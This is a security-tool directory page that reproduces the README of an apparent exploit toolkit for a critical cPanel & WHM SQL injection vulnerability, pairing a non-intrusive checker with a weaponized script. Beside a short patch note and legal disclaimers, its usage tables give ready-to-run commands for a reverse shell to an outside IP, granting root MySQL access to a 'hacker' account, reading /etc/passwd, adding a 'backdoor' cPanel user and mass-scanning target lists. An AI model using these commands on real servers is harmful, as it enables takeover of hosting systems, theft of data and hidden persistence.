Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-58048-PoC-Exploit — 👾 CVE-2026-58048 – cPanel Root SQL Execution Toolkit (CVSS 9.4) | Full Red/Blue Team Toolkit suite for unpatched cPanel & WHM 11.x. 2 tools: Safe Checker (audit/reporting), Weaponized (reverse shell, persistence, UDF RCE, deployment, file read/write, database operations, mass scan). w/Python. 🦾 Use Ethically, Stay Legal <3 | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-58048-poc-exploit
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingIncident Response

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

👾 CVE-2026-58048 – cPanel Root SQL Execution Toolkit (CVSS 9.4) | Full Red/Blue Team Toolkit suite for unpatched cPanel & WHM 11.x. 2 tools: Safe Checker (audit/reporting), Weaponized (reverse shell, persistence, UDF RCE, deployment, file read/write, database operations, mass scan). w/Python. 🦾 Use Ethically, Stay Legal <3

Database Security
GitHubtc4dy/cve-2026-58048-poc-exploit

CVE-2026-58048-PoC-Exploit

저장소 보기
5221일 전아직 검토되지 않음
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVEPoC

💥 CVE‑2026‑58048 – cPanel Root SQL Execution Toolkit

Python 3.8+ CVSS Author cPanel

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.


📖 Vulnerability Overview

CVE‑2026‑58048 is a critical SQL injection vulnerability in cPanel & WHM versions 11.x that allows an authenticated cPanel user to execute arbitrary SQL commands with MySQL root privileges via the database rename functionality.

How it works

  1. Authenticated access required – the attacker must have a valid cPanel account (username/password) on the target server.
  2. SQL mode manipulation – the exploit sets the MySQL session to ANSI_QUOTES mode, which changes the parsing behavior.
  3. Database rename injection – when renaming a database, the new name is not properly sanitized, allowing the attacker to inject arbitrary SQL statements.
  4. Root privileges – because the rename operation runs with MySQL root privileges, the injected SQL is executed with the highest database permissions.
  5. Impact – full database takeover, privilege escalation, server compromise, data theft, backdoors, and lateral movement. Upgrade immediately!

Affected Versions

  • cPanel & WHM 11.110 and earlier – vulnerable
  • 11.111 – 11.118 – vulnerable
  • 11.119 – 11.126 – vulnerable
  • 11.127 – 11.134 – vulnerable
  • 11.135 – 11.136 – vulnerable
  • 11.137.x – vulnerable below 11.137.1.6
  • 11.138.1.6 and later – patched

Patch

  • Upgrade to cPanel & WHM 11.138.1.6 or newer.
  • If upgrade is not possible, disable MySQL rename operations for cPanel users as a temporary workaround.

🧰 Tools

ToolPurposeIntended User
exploit.pyFull weaponized toolkit with reverse shell, persistence, UDF RCE, file read/write, database operations, proxy support, and mass scanning.Red teams / authorized pentesters

📊 Feature Comparison


🎯 Use Case Summary


⚙️ Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
colorama
pymysql

📋 Parameters

exploit.py Parameters

safecheck.py Parameters


💥 Scenarios


🧪 Endpoint & API Usage

The exploit uses the following cPanel UAPI endpoints:


🛡️ Responsible Use

  • Only use these tools on systems you own or have explicit written permission to test.
  • Unauthorized access is illegal and unethical.
  • The authors are not responsible for any misuse.
  • Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

도구 다운로드
safecheck.py
Non‑intrusive vulnerability checker that detects cPanel version and assesses risk without executing any malicious payload. Generates detailed reports.
Blue teams / security auditors
Featureexploit.pysafecheck.py
Vulnerability detection✅✅
Version detection✅✅
MySQL root SQL injection✅❌
Reverse shell✅❌
Persistence (cPanel user creation)✅❌
UDF RCE (command execution)✅❌
File read/write✅❌
Database operations (any SQL)✅❌
Proxy support✅✅
Mass scanning (multi‑thread)✅❌
Interactive shell✅❌
Non‑intrusive (safe) mode❌✅
Verbose/Debug mode✅✅
SSL verification control✅✅
Custom User‑Agent✅✅
Request delay / retries✅❌
JSON / report output✅✅
Endpoint accessibility check❌✅
SQL mode leakage detection❌✅
ScenarioRecommended Tool
Blue Team – verifying if your cPanel installation is vulnerablesafecheck.py
Security Audit – non‑intrusive vulnerability assessmentsafecheck.py
Red Team – authorized penetration testing with full exploitationexploit.py
Bug Bounty – responsible disclosure testingsafecheck.py
Mass Scanning – checking multiple targets for vulnerabilityexploit.py (detection only)
Incident Response – checking if systems are compromisedsafecheck.py
ParameterDescription
-t, --targetTarget cPanel URL (e.g. https://cpanel.example.com:2083)
-l, --target-fileFile containing list of targets (one per line) for mass scanning
-u, --mysql-usercPanel/MySQL username
-P, --mysql-passcPanel/MySQL password
--mysql-portMySQL port (default: 3306)
-p, --portOverride cPanel port (default from URL or 2083)
--threadsNumber of threads for multi‑target (default: 10)
-o, --outputSave results to file (single target)
--logLog file for detailed output
-v, --verboseVerbose output
--proxyHTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
-ua, --user-agentCustom User‑Agent
--no-keep-aliveDo not keep session alive
--delayDelay between requests (default: 2.0s)
--max-retriesMax retries (default: 3)
--ssl-verifyVerify SSL certificates
--cmdCommand to execute (prefix with sql: or udf: for specific)
--injectCustom SQL to inject (overrides other actions)
--reverse-shellReverse shell IP:PORT (uses UDF)
--passwdChange root MySQL password
--adduserCreate cPanel user (USER DOMAIN PASSWORD)
--readRead a file via LOAD_FILE
-i, --interactiveInteractive shell after exploit
--verifyVerify exploit success by attempting MySQL login
--pingPing target before exploitation
ParameterDescription
-t, --targetTarget cPanel URL (e.g. https://cpanel.example.com:2083)
-v, --verboseVerbose output
--proxyHTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
-ua, --user-agentCustom User‑Agent
--ssl-verifyVerify SSL certificates
--timeoutRequest timeout in seconds (default: 10)
--logSave report to file
--jsonOutput results in JSON format
#ScenarioCommand
1Quick vulnerability checkpython safecheck.py -t https://cpanel.example.com:2083
2Detailed scan with reportpython safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v
3Reverse shellpython exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444
4Execute custom SQL (root)python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'"
5Read sensitive filepython exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd
6Change MySQL root passwordpython exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123
7Create new cPanel user (persistence)python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123
8Interactive shell after exploitationpython exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i
9Mass scanning from filepython exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json
10Use proxy and custom User‑Agentpython exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"
EndpointPurpose
/execute/Mysql/create_databaseCreate temporary database
/execute/Mysql/delete_databaseClean up created databases
/execute/Mysql/rename_databaseVulnerable endpoint – triggers SQL injection
/execute/Version/get_versionAuthentication and version check
/execute/UserManager/create_userCreate new cPanel user (persistence)
/execute/UserManager/list_usersList existing users